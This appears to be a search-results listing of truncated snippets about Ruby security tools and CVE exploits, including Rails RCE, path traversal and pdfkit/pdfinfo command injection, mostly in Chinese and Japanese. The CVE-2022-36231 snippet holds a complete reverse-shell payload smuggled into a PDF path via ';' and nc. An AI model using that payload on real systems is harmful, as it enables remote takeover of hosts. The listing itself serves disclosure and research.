17334 matches found
CVE-2020-8163
CVE-2020-8163 CVE-2020-8163 的环境与漏洞利用：Rails 5.0.1 和 4.2.11.2 中用户提供的本地名称导致的盲远程代码执行 创建环境 1. 创建 docker 容器，将端口 4000 映射到 8001 root@kitploit: sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2. 在容器中更新并安装一些工具 root@kitploit: apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev...
exploit-CVE-2022-25765
CVE-2022-25765 pdfkit 漏洞利用 - 命令注入 喜欢这个仓库吗？给我们一个 ⭐！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 pdfkit 包从 0.0.0 版本起即存在命令注入漏洞，因为其 URL 未被正确清理。 漏洞利用说明 Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本（ python3 exploit-CVE-2022–25765.py -s python3 exploit-CVE-2022–25765.py -c -...
CVE-2022-36231
CVE-2022-36231 ruby gem pdfinfo /dev/null 与 initialize 方法一样，@pdfpath 变量也没有执行任何验证。这使得我们可以利用 ; 进行命令链来执行任意命令。 root@kitploit: info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上述代码片段将向 127.0.0.1 的 4444 端口执行一个反向 Shell。 披露...
ctf-party
ctf-party 概要...
CVE-2019-5418
CVE-2019-5418: Ruby on Rails 路径遍历与任意文件读取 本项目是一个用于实践和复现 Ruby on Rails 本地文件包含漏洞 CVE-2019-5418 的环境。该漏洞可通过 Accept 头进行路径遍历，从而读取服务器内部的任意文件。 漏洞概要 Ruby on Rails 是一个能让开发者快速轻松构建 Web 应用程序的 Web 应用框架。 Ruby on Rails 中版本低于 5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1 以及 v3 存在本地文件包含漏洞。 当在控制器中使用 render file 来渲染应用程序外部的视图时，Rai...
CVE-2016-0752
利用CVE-2016-0752 此应用作为利用CVE-2016-0752的易受攻击的概念验证。更多信息请参考这篇博客文章，其中解释了漏洞、利用所需步骤、修复方法以及Metasploit模块的链接。 开始使用 root@kitploit: echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 易受攻击的URL：http://localhost/users/dashboard...
metasm
Metasm，Ruby 汇编操作套件 示例脚本位于 samples/ —— 请阅读文件开头的注释 所有文件均以 LGPL 条款授权 作者：Yoann Guillot 基本概述： Metasm 允许你与可执行文件格式（ExeFormat）交互： PE、ELF、Mach-O、Shellcode 等。 对 ExeFormat 有三种使用方式： 从零开始编译一个格式 反编译一个已有格式 操作文件结构 可直接使用的脚本可以在 samples/ 子目录中找到，请查看脚本头部的注释。你也可以试试 --help 参数，说不定会有惊喜。 更多信息请查看 doc/ 子目录。可以使用...
ritm
Ruby In The Middle HTTP/HTTPS インターセプションプロキシ Ruby in the middle RITM は、HTTP/HTTPS インターセプションプロキシです。オンフライでの証明書生成と署名を行い、ユーザーは Ruby 言語の全機能を駆使して、リクエストやレスポンスを自由に傍受・改変できます。 インストール gem install ritm 基本的な使い方 1. インターセプションハンドラを記述する root@kitploit: require 'ritm' A single answer for all your google searches...
heroku-CVE-2013-0269
heroku-CVE-2013-0269 检查所有 Heroku 应用，确认它们是否运行存在漏洞的 JSON 版本 背景 Ruby JSON gem 中发现了 一个安全漏洞。这是近期公布的 Rails MySQL 注入问题的根本原因。现在已有新版 JSON gem 可用。 开发者可以通过运行 此脚本 获取所有受影响的 Heroku 应用的完整列表。以下 JSON 版本已修复并被视为安全： 1.7.7 1.6.8 1.5.5 如果您不升级，攻击者可能能够在您应用的 MySQL 数据库上执行任意 SQL 查询。Heroku 强烈建议立即升级到已修复的版本。 操作说明 git clone...
prometheus
安装 Prometheus Prometheus 是一个 Ruby 应用程序，可在任何运行最新版本（1.8.7 或更高版本）Ruby 的系统上运行。要安装 Prometheus，请按照以下步骤操作： 1. 创建一个名为 prometheus 的目录。 2. 将 prometheus 文件解压到该目录中。 3. CD 进入 prometheus 目录并运行 ./prometheus.rb -h 如何使用 Prometheus 使用 Prometheus，请使用 -c 选项指定要解析的配置文件。Prometheus 默认在当前目录中使用默认的 HTML 模板创建 HTML...
gitlab-rce-demo
GitLab Oj RCE 演示 该仓库包含一个自包含的演示环境，用于我们研究中描述的 GitLab notebook-diff RCE 漏洞链。它会启动一个全新的 GitLab 18.11.3 容器，通过公开的 HTTP 接口创建一个普通用户，并针对该实例运行 PoC。 技术细节：Going depthfirst：通过两个 Ruby 内存破坏漏洞实现 GitLab RCE 环境要求 基于 x86-64（amd64）架构的 Linux 安装了 Docker Compose v2 的 Docker Engine Bash、Python 3、curl、Git、iproute2 和 netca...
CVE-2016-2098
CVE-2016-2098 当在用户提供的数据上使用 render 时，Ruby-on-Rails 中的远程代码执行漏洞。 说明： 此问题源于对用户提供的数据使用 render 方法。 render 方法通常用于从模板渲染页面，但 render 方法也允许开发者渲染纯文本（plaintext）甚至内联代码（inline）。 render 函数： root@kitploit: File actionpack/lib/abstractcontroller/rendering.rb, line 23 def renderargs, &block options =...
declarative-policy
DeclarativePolicy: 宣言的な認可ライブラリ このライブラリは、認可ポリシーを記述するためのDSLを提供します。 ロジックと権限を分離するために使用でき、GitLab.com で本番環境において大規模に使用されています。 このライブラリの原作者は Jeanine Adkisson であり、著作権は GitLab が保持しています。 インストール 以下の行をアプリケーションの Gemfile に追加します: root@kitploit: gem 'declarativepolicy' その後、以下を実行します: root@kitploit: $ bundle install...
ruby-nmap
ruby-nmap ソース 課題 ドキュメント 説明 探索ツールおよびセキュリティ / ポートスキャナであるnmapのためのRuby APIです。nmapの自動化とnmap XMLファイルの解析を可能にします。 機能 nmapを自動化するためのRuby APIを提供します。 nmap XMLスキャンファイルを列挙するためのパーサーを提供します。 完全なNmap XML DTDをサポートします。 例 RubyからNmapを実行する: root@kitploit: require 'nmap/command' Nmap::Command.run do |nmap|...
ruby-advisory-db
Base de Datos de Avisos de Ruby La Base de Datos de Avisos de Ruby es un esfuerzo comunitario para recopilar todos los avisos de seguridad relevantes para las librerías de Ruby. Esperamos que otros creen los datos, como obtener CVEs, GHSA, OSVDB, cvss, o información original de vulnerabilidades...
WiFi-Pineapple-MK7_REST-Client
WIFI PINEAPPLE MARK VII - REST CLIENT 近接操作向けの主要な不正アクセスポイントおよびWiFiペンテストツールキット。 パッシブおよびアクティブな攻撃により、脆弱または設定ミスのあるデバイスを分析します。 https://hak5.org/collections/sale/products/wifi-pineapple Author :: TW-D Version :: 1.3.7 Copyright :: Copyright c 2024 TW-D License :: Rubyと同じ条件で配布されます。 Doc ::...
leprechaun
Leprechaun root@kitploit: .-----. / V \ |...| |.....| .-' '-. .-. .-./ .--. |\ /| .-;.-"-.-;;-, =/ . -;,-;, . .-.-. . / ||'-'|| \ ,'--;.\ .;--' // o \ // --.. o '';,//| || : || |\ ;' \ '.\--' |"""""""|// / ':.// ,/\ | '---'| ||| ; Leprechaun ; ;""|""; \ / | '. vonahisec .' .' / \ '. '-,...
rails-rce-cve-2016-0752
利用 CVE-2016-0752 此应用作为利用 CVE-2016-0752 的易受攻击的概念验证。更多信息请参阅这篇博客文章，其中解释了该漏洞、利用所需步骤、修复方法以及一个 Metasploit 模块的链接。 快速开始 root@kitploit: echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 漏洞 URL: http://localhost/users/dashboard...
seccomp-tools
Seccomp Tools seccomp 解析のための強力なツール群です。 このプロジェクトは主に（ただし排他的ではなく）CTF pwn チャレンジにおける seccomp サンドボックスの解析を目的としています。 一部の機能は CTF 特有のものですが、実世界の seccomp フィルタの解析にも同様に役立ちます。 機能 Dump - 実行ファイルから seccomp BPF を自動的にダンプします。 Disasm - seccomp BPF を人間が読みやすい形式に変換します。 簡易的な逆コンパイルに対応。 可能な限りシステムコール名と引数を表示。 カラフル！ Asm -...